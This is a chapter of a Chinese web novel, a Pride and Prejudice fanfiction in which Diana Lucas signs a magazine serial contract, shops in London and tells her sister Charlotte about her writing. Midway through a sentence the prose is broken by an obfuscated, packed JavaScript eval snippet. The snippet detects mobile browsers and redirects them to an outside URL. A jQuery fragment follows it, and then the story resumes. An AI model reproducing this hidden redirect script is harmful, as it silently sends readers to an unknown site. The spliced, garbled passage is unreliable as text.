5. 规则怪谈(五)

作品:《[傲慢与偏见]少管我

    简单算笔账,现在市面上的哥特小说大部分很廉价,1先令或者几便士就能买一本。


    那些她都看过,她的就按1先令算,他要她卖出2500本才给她30英镑。


    赚她四倍的钱还慊不够,合约上还有一系列附加条件,贪心不足,口才倒是很好,哄得卢卡斯爵士一个劲说他好话。


    “为什么不出版呢?杜赫,很多作家最大的梦想就是出版一本小说,人们在连载上看过的文字就不具备出版的价值了。”


    “不,我的才能要交给市场判断,而不是出版社。如果我的本事到了,那连载过后出版也会有人买账,还能多拿到一份出版的稿费,本事没到,出版也是招笑。”


    她一向有主见,卢卡斯爵士奈何不了,只得听从她的意见放弃波尔出版社,与《淑女通讯》签约。


    当顿很高兴,也很新鲜,想想看,他的刊物上出现第一个使用女性笔名的女性供稿人。


    律师史密斯起草合同,询问道:“戴安娜小姐想用什么笔名?”


    戴安娜不假思索:“阿尔克昂·希耶尔。”


    当顿沉默一会:“戴安娜小姐是想说 ?arc-en-ciel(彩虹)??”


    那狂言作品数量比得上笛福的小作家不好意思地摸摸后脑,干笑两声:“正确的发音是这样吗?”


    卢卡斯爵士居然没有给戴安娜小姐请家庭教师学法语吗?当顿想到女儿的嘱托,心中一动,说道:“戴安娜小姐,我的安娜正在学习法语,我想你们可以多书信沟通。”


    戴安娜眼睛一亮,免费的法语老师?可是……


    “当顿小姐愿意吗?”她爹一厢情愿怕不好。


    “当然,她是你的忠实读者。”


    这下连卢卡斯爵士都对他连连称赞,他还是头一次见愿意让自家小孩和戴安娜一起玩的家长。至于那位风度翩翩的波尔出版社的负责人,早被他忘到九霄云外了。


    言归正传,当顿纠正她的法语发音,并提议她可以用拉赫昂·希耶尔作为笔名,戴安娜欣然同意。


    合同签完,五篇规则怪谈稿子交付完毕,10英镑没捂热乎就在邮局、艺术用品店和杂货店用了不少。


    卢卡斯爵士:“我的上帝你非要逛这么多店吗?”


    戴安娜:“不多看一些店怎么知道哪家更便宜?”


    她难得找回初中高中在学校门口文具店挑选的快乐,尽管种类比较少,东西也比较贵浇灭一些喜悦。


    伦敦的纸比梅丽顿贵,她可以回去买,五便士一沓,物不美价廉。


    笔也略贵,但贵有贵的道理,她买了一支机械铅笔,可以换芯,笔身中间有滑环,上下推拉用于收起和弹出笔尖,另外通体都有刻痕,靠近笔尖的部分还有圆圈形的凸起,有一种指间会摩擦出老茧的美感。


    ……终于不用手削铅笔了,至于钢笔,等她纸张自由再考虑吧,这里又不卖涂改带。


    她心满意足地坐上回程的马车。


    《淑女通讯》上一次发刊是三月三日,最快刊登她的作品就是六月三日,满打满算,还有六天时间,就能在报刊上看到她的作品了。


    她很期待。


    签约的第一个周日,戴安娜照常跟一家人去附近的教堂做礼拜。


    她现在除了写小说,基本不出房门,这是难得的家庭活动。


    上了年纪的牧师在前面用平静的声音讲解圣经,她一坐上长椅就睡得天昏地暗。


    她时常会比较,牧师和数学老师哪个讲课更催眠。


    “醒醒,杜赫。”夏洛特推推靠在她肩上大睡特睡的戴安娜。


    被夏洛特强制开机的戴安娜睁开眼,看看左右起身离开的人们,迷迷糊糊地问:“嗯?啊,完了?”


    “是啊,走吧,回去了。”


    贝琳达女士走在几位女士身旁不知道聊什么,卢卡斯爵士似乎要跟男士们去钓鱼,玛利亚与小伙伴约好去梅丽顿的衣帽店逛逛,威尔和海伦没来。


    她和夏洛特结伴回去。


    这是个难得的好机会,她想与夏洛特说说写作的事,在家里见面的时间太碎片了,她满脑子都是大纲人设反转,没想起来这事,如今想起来了,就想着知会夏洛特一声。


    假如她写作的事被暴露出来,而那时夏洛特离开了家,上男方的家里住着,男方是个宽和善良的那万事好说,若是个古板刻薄的,轻则对夏洛特摆脸色,认为有这种妹妹的夏洛特也不是啥好东西,重则会强迫夏洛特与她断绝来往。


    未来的诸多可能,她都想过。


    更糟糕一点,夏洛特未来遇到情投意合的男人,两人情意绵绵,男方家长接受不了夏洛特有她这种妹妹,棒打鸳鸯,最后夏洛特怨恨她一辈子。


    但她必须这么做,她必须有自救的力量。


    换言之,她必须赚钱。


    现在她要向夏洛特坦白,结果是道歉也好,赔偿也好都行,总之不能逃避沟通。


    “洛蒂,”她称呼姐姐的昵称,“我有事跟你说。”


    这段日子她忙忙碌碌的,夏洛特就预感到会有这么一天,并不意外,“什么事?”


    她前后左右看了一圈,走在路上的人们各自交谈,没有注意她们,但她仍然谨慎,悄悄凑到夏洛特身边,夏洛特凝神倾听。


    “这件事就是我回家跟你说一件事。”


    “……”


    见姐姐无语,她补充道:“很重要的事,不能被别人知道。”


    说别人,别人就来了。


    班纳特家的简和伊丽莎白叫着她们的名字快步过来。


    伊丽莎白笑着打趣道:“你气跑了民兵团的军官,我们大家都知道了。”


    感觉那是好久之前的事了,现在还当新鲜事说呢。


    戴安娜一摊手:“说就说呗,我已经习惯当别人家的孩子了,虽然是反面教材。”


    她不到进入社交界的年纪,但是社会对各个年龄段的女性的压制无所不在,于是她的叛逆就这里显露一点,那里显露一点,逐渐为人所知。


    梅丽顿附近的体面人家提到她都会叹息,卢卡斯爵士幽默风趣,卢卡斯夫人温和厚道,怎么就生出这样的孩子?


    或明或暗的同情以及幸灾乐祸之后,又会告诫自己的孩子,不要跟戴安娜一起玩,会被带坏。


    别的小孩懵懂应了,简和伊丽莎白却不这么认为。


    简性情温柔,不愿意对旁人多加指责,总是看好的方面,她不觉得戴安娜是坏小孩。


    伊丽莎白就更直接,私底下直言大人们不喜欢戴安娜是因为她那被招惹了不会忍气吞声,而会予以坚决还击的个性。


    排除掉这一点,她没什么不好,耿直坦诚,藏不住心思,很好相处。


    说她坏话的人八成是不怀好意,又怕她回击,那种人不值得交往,伊丽莎白自认不会变成那些人,自然不必怕戴安娜。


    “不说那些了,我跟你们说前些日子我不是去伦敦了吗?我在印刷店的橱窗里看到好多漫画。”


    过去的十五年里,英国处于讽刺漫画的鼎盛阶段,未曾登基的摄政王是漫画师们的新鲜素材库,他们不遗余力地画下摄政王的丑态,然后印刷张贴出去,摄政王需要贿赂漫画师才能保证更过分的漫画不被传播。


    他现在是正儿八经的国王,讽刺漫画少了,但没有完全杜绝。


    漫画里的他大腹便便,丑陋不堪,情妇环……


    听到这里简就惊呼打断她,戴安娜从善如流地止住,说起另一幅讽刺漫画,漫画师将摄政王画成一条巨鲸,与美人鱼眉来眼去。


    伊丽莎白很喜欢听,倒不是她去不成伦敦,只是她不能像戴安娜一样,看到感兴趣的就叫停车,跳下马车去看罢了。


    卢卡斯府和朗博恩不在一个方向,一行人在路上分别,戴安娜刚看到家门就拉着夏洛特加速,咚咚咚踩上楼梯,一路跑到二楼卧室。


    夏洛特坐在床上,看向背靠着门松了口气的戴安娜,问:“你勾起我的好奇心,带动我也紧张起来,到底是什么事?”


    戴安娜挠头,旋即镇定自若地说出她写小说且签约的事。


    “真的吗?这太惊人了,我真为你高兴。”夏洛特笑着说。


    她一时闹不清姐姐是跟电视剧里的反派皇后一样掩饰内心的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621662|172276||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    想法,还是气糊涂了。


    心里想什么,她嘴上就说什么,“你不生气吗?洛蒂,我从事这份行业对你不是没有影响的。”


    夏洛特挑了下眉,说:“你确信我会生气还要那么做,我是否生气似乎无关紧要。”


    “怎么会?”她先高声反驳这句话,然后看向别处嘟囔,“这件事决定权在我,知情权在你,纸终究包不住火,最起码到那一天,不应该让你从别人的嘴里知晓。”


    这句话很有先见之明,未来的某一天,她的名气越来越大,使真相公诸于世的不是某个挑事的上等人,而是闻着味赶来的英国税务部门。


    当天夏洛特正在拜访她的好友。


    后话暂且不提,此时此刻的夏洛特确实不生气。


    她拜访亲戚会遇到年龄相近的人,她们凑过来,名为同情实则打探戴安娜的事。


    有那种妹妹作为姐姐很辛苦吧?她是不是经常顶撞你,你说一句话,她有三句话等着?哦,可怜的夏洛特。


    解释了,她们也不信,很多人只愿意听自己想听的,或者以为她在嘴硬。


    ——戴安娜是卢卡斯家最省心的孩子?瞧瞧可悲的夏洛特,为了不被嘲笑,都扯出这种谎言了。


    可她从不是谎言。


    杜赫是妈妈生得最顺利的孩子,小小一个躺在摇篮里,要换尿布叫一声,晚上饿了想要喝奶再叫一声,从没有出现哇哇哇哭个不停吵醒全家的情况。


    育婴女仆不止一次说过戴安娜是她带过最乖巧的小孩。


    夏洛特再大一点,母亲和女仆忙于家务,她承担起照顾妹弟的责任。


    小玛利亚看什么都想模仿,看鸟儿飞就站上椅子往下跳,小威尔简直像匹小马驹,蹬蹬蹬跑个不停,摔在地上就哇哇大哭。


    她很想问问那些轻嘴薄舌的人,如果她们在她这个位置,是会喜欢上面那两个,还是喜欢拉着小玛利亚不让她跳的戴安娜?


    没错,她太喜欢戴安娜这个妹妹,这份喜欢直到她第一次为一家人准备早餐达到巅峰。


    她刚学会做饭,那一餐很简单,面包切薄放到烤吐司架上端上去,准备黄油、果酱、橘子酱,再煮好一家人的鸡蛋。


    妈妈说过戴安娜喜欢老一点的鸡蛋,需要多煮四分钟,可是她搞错了时间,一家人的鸡蛋都煮老了。


    当时没注意到,由于只有戴安娜的鸡蛋与别人不同,她特别看了一眼,戴安娜正将鸡蛋倒出蛋杯,拿着鸡蛋咬着吃——但愿她在外面别这样,用手接触食物实在失礼。


    念头没有转完,威尔便叫着鸡蛋太难吃了,将蛋杯扔进盘子里,发出叮的一声响,随即跳下椅子往外跑。


    这不是大事,附近的小男孩都是这样的,爸爸在看报纸,妈妈叫他跑慢点,玛利亚吓了一跳,而戴安娜在威尔跑出餐厅前揪着他的领子一路来到她身边,声音严厉。


    “磕头道歉。”


    在妈妈爸爸“算了算了”的劝解中,头没有磕,但道歉她收到了。


    妈妈和她都劝戴安娜,这种小事犯不上生气,戴安娜却说看到她的表情很伤心很失落,没有多想就去抓威尔了。


    她当时很伤心失落吗?她没注意,不过她能感受到戴安娜的关心以及对她尊严的捍卫。


    厨师彻底被辞退,她经常帮助妈妈做菜,不管做成什么样,戴安娜都说好吃,玛利亚是应声虫,倒是她看着色香味弃权的菜,感慨原来真的有很动听的谎言。


    “杜赫,你不是个合格的食客。”


    手艺再好的厨师都得在她一声声夸赞中迷失自我,提升手艺更是天方夜谭。


    “姐姐又不是花钱雇来的厨师,当然是你做什么,我吃什么,而且都很好吃咯。”


    看吧,她一直是体贴人的好孩子。


    她是什么时候变的?夏洛特想,应该是越长越大,这世界对她露出狰狞面孔的时候,她不曾畏惧,收敛笑容,冷冷瞪了回去。


    那不是她的错。


    “杜赫,我这个人不想做的事很多,想做的事一件都想不起来,你能有一样想做的事,那是你的幸运,不用担心我,我为你感到高兴。”